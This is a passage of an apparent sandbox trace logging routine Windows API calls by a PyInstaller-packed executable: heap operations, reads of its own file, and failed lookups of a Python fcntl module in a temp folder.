[0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83a0 | out: hHeap=0x2ad0000) returned 1 [0074.938] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd040, Size=0xe8) returned 0x2ac9620 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.938] GetCurrentThreadId () returned 0x9b0 [0074.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0074.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afc0 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fae28 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82c8 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac9620 | out: hHeap=0x2ad0000) returned 1 [0074.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9730 [0074.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fbbf0 [0074.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0074.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0074.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afb0 [0074.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71940 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9730 | out: hHeap=0x2ad0000) returned 1 [0074.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa060 [0074.940] GetCurrentThreadId () returned 0x9b0 [0074.940] GetCurrentThreadId () returned 0x9b0 [0074.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0074.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0074.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0074.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0074.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0074.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] GetCurrentThreadId () returned 0x9b0 [0074.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0074.942] GetCurrentThreadId () returned 0x9b0 [0074.942] GetCurrentThreadId () returned 0x9b0 [0074.942] GetCurrentThreadId () returned 0x9b0 [0074.943] GetLastError () returned 0x0 [0074.943] GetLastError () returned 0x0 [0074.943] GetLastError () returned 0x0 [0074.943] GetLastError () returned 0x0 [0074.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0074.943] GetLastError () returned 0x0 [0074.943] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.943] GetFileType (hFile=0x1ec) returned 0x1 [0074.943] GetLastError () returned 0x0 [0074.943] GetCurrentThreadId () returned 0x9b0 [0074.943] GetLastError () returned 0x0 [0074.943] GetFileType (hFile=0x1ec) returned 0x1 [0074.943] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0074.944] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0074.944] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0074.944] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0074.944] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0074.944] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0074.944] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0074.944] GetLastError () returned 0x0 [0074.944] GetCurrentThreadId () returned 0x9b0 [0074.944] GetLastError () returned 0x0 [0074.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.944] GetLastError () returned 0x0 [0074.944] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7352046, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x702eee [0074.944] GetLastError () returned 0x0 [0074.944] GetCurrentThreadId () returned 0x9b0 [0074.944] GetLastError () returned 0x0 [0074.944] GetCurrentThreadId () returned 0x9b0 [0074.944] GetLastError () returned 0x0 [0074.944] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8683260, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x847efc [0074.945] GetLastError () returned 0x0 [0074.945] GetCurrentThreadId () returned 0x9b0 [0074.945] GetLastError () returned 0x0 [0074.945] GetCurrentThreadId () returned 0x9b0 [0074.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1d19) returned 0x2cb5a70 [0074.945] GetLastError () returned 0x0 [0074.945] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cb5a84, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2cb5a84*, lpNumberOfBytesRead=0x9ba998*=0x1000, lpOverlapped=0x0) returned 1 [0074.945] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cbf4b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2cbf4b0*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0074.945] GetLastError () returned 0x0 [0074.945] GetCurrentThreadId () returned 0x9b0 [0074.945] GetLastError () returned 0x0 [0074.945] GetCurrentThreadId () returned 0x9b0 [0074.946] GetLastError () returned 0x0 [0074.946] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x849efc [0074.946] GetLastError () returned 0x0 [0074.946] GetCurrentThreadId () returned 0x9b0 [0074.946] GetLastError () returned 0x0 [0074.946] GetLastError () returned 0x0 [0074.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbf4b0 | out: hHeap=0x2ad0000) returned 1 [0074.946] CloseHandle (hObject=0x1ec) returned 1 [0074.946] GetLastError () returned 0x0 [0074.946] GetCurrentThreadId () returned 0x9b0 [0074.946] GetLastError () returned 0x0 [0074.946] GetLastError () returned 0x0 [0074.946] GetCurrentThreadId () returned 0x9b0 [0074.946] GetLastError () returned 0x0 [0074.946] GetLastError () returned 0x0 [0074.946] GetCurrentThreadId () returned 0x9b0 [0074.947] GetLastError () returned 0x0 [0074.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302a070 | out: hHeap=0x2ad0000) returned 1 [0074.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3032078, Size=0x4b17) returned 0x3032078 [0074.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb5a70 | out: hHeap=0x2ad0000) returned 1 [0074.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x321) returned 0x2bac648 [0074.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x341) returned 0x2c37800 [0074.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f50, Size=0x20) returned 0x2a1fbf0 [0074.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19250 [0074.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a197a8 [0074.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0580 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x30fcec0 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fcec0, Size=0xe8) returned 0x2ac9620 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9620, Size=0x120) returned 0x2c37148 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37148, Size=0x160) returned 0x2cb6470 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6470, Size=0x1a8) returned 0x2cb86b0 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb86b0, Size=0x1f8) returned 0x2c315e0 [0074.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x43c) returned 0x2cb6a78 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c315e0, Size=0x250) returned 0x2ac5098 [0074.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x256) returned 0x2c2e590 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2c2c730 [0074.948] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c730, Size=0x324) returned 0x2babc70 [0074.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2babc70 | out: hHeap=0x2ad0000) returned 1 [0074.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3032078 | out: hHeap=0x2ad0000) returned 1 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0074.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9730 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a200a8 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0074.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] GetCurrentThreadId () returned 0x9b0 [0074.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0074.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0074.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0074.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetCurrentThreadId () returned 0x9b0 [0074.950] GetLastError () returned 0x0 [0074.951] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\fcntl", lpData=0x2a1a7d0, lpcbData=0x9ba7dc | out: lpData="", lpcbData=0x9ba7dc) returned 0x2 [0074.951] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\fcntl", lpData=0x2a1a7d0, lpcbData=0x9ba7dc | out: lpData="", lpcbData=0x9ba7dc) returned 0x2 [0074.951] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\fcntl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\fcntl")) returned 0xffffffff [0074.951] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\fcntl.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\fcntl.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba6b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.951] GetLastError () returned 0x2 [0074.951] GetLastError () returned 0x2 [0074.951] GetLastError () returned 0x2 [0074.951] GetLastError () returned 0x2 [0074.951] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\fcntl.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\fcntl.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba6b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.951] GetLastError () returned 0x2 [0074.951] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\fcntl.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\fcntl.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba6b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\fcntl.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\fcntl.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba6b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.952] GetLastError () returned 0x2 [0074.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0074.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.953] GetCurrentThreadId () returned 0x9b0 [0074.953] GetCurrentThreadId () returned 0x9b0 [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.953] GetCurrentThreadId () returned 0x9b0 [0074.953] GetCurrentThreadId () returned 0x9b0 [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8118 [0074.953] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1ec [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a975e8 [0074.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9730 | out: hHeap=0x2ad0000) returned 1 [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30faca0 [0074.953] GetCurrentThreadId () returned 0x9b0 [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fae28 [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa4f8 [0074.953] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a9a628 [0074.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fa4f8 | out: hHeap=0x2ad0000) returned 1 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bac648 | out: hHeap=0x2ad0000) returned 1 [0074.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0074.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0074.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] GetCurrentThreadId () returned 0x9b0 [0074.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0074.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0074.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0074.955] GetCurrentThreadId () returned 0x9b0 [0074.955] GetCurrentThreadId () returned 0x9b0 [0074.955] GetCurrentThreadId () returned 0x9b0 [0074.955] GetCurrentThreadId () returned 0x9b0 [0074.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0074.955] GetCurrentThreadId () returned 0x9b0 [0074.955] GetCurrentThreadId () returned 0x9b0 [0074.955] GetLastError () returned 0x0 [0074.955] GetLastError () returned 0x0 [0074.955] GetLastError () returned 0x0 [0074.955] GetLastError () returned 0x0 [0074.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0074.955] GetLastError () returned 0x0 [0074.956] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0074.956] GetFileType (hFile=0x2d8) returned 0x1 [0074.956] GetLastError () returned 0x0 [0074.956] GetCurrentThreadId () returned 0x9b0 [0074.956] GetLastError () returned 0x0 [0074.956] GetFileType (hFile=0x2d8) returned 0x1 [0074.956] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0074.956] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0074.956] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0074.956] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0074.956] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0074.956] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0074.956] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0074.956] GetLastError () returned 0x0 [0074.956] GetCurrentThreadId () returned 0x9b0 [0074.956] GetLastError () returned 0x0 [0074.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0074.957] GetLastError () returned 0x0 [0074.957] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8690688, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x849c00 [0074.957] GetLastError () returned 0x0 [0074.957] GetCurrentThreadId () returned 0x9b0 [0074.957] GetLastError () returned 0x0 [0074.957] GetCurrentThreadId () returned 0x9b0 [0074.957] GetLastError () returned 0x0 [0074.957] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7860523, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x77f12b [0074.957] GetLastError () returned 0x0 [0074.957] GetCurrentThreadId () returned 0x9b0 [0074.957] GetLastError () returned 0x0 [0074.957] GetCurrentThreadId () returned 0x9b0 [0074.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x381d) returned 0x3026050 [0074.958] GetLastError () returned 0x0 [0074.958] ReadFile (in: hFile=0x2d8, lpBuffer=0x3026064, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x3026064*, lpNumberOfBytesRead=0x9ba998*=0x3000, lpOverlapped=0x0) returned 1 [0074.958] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc24c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, 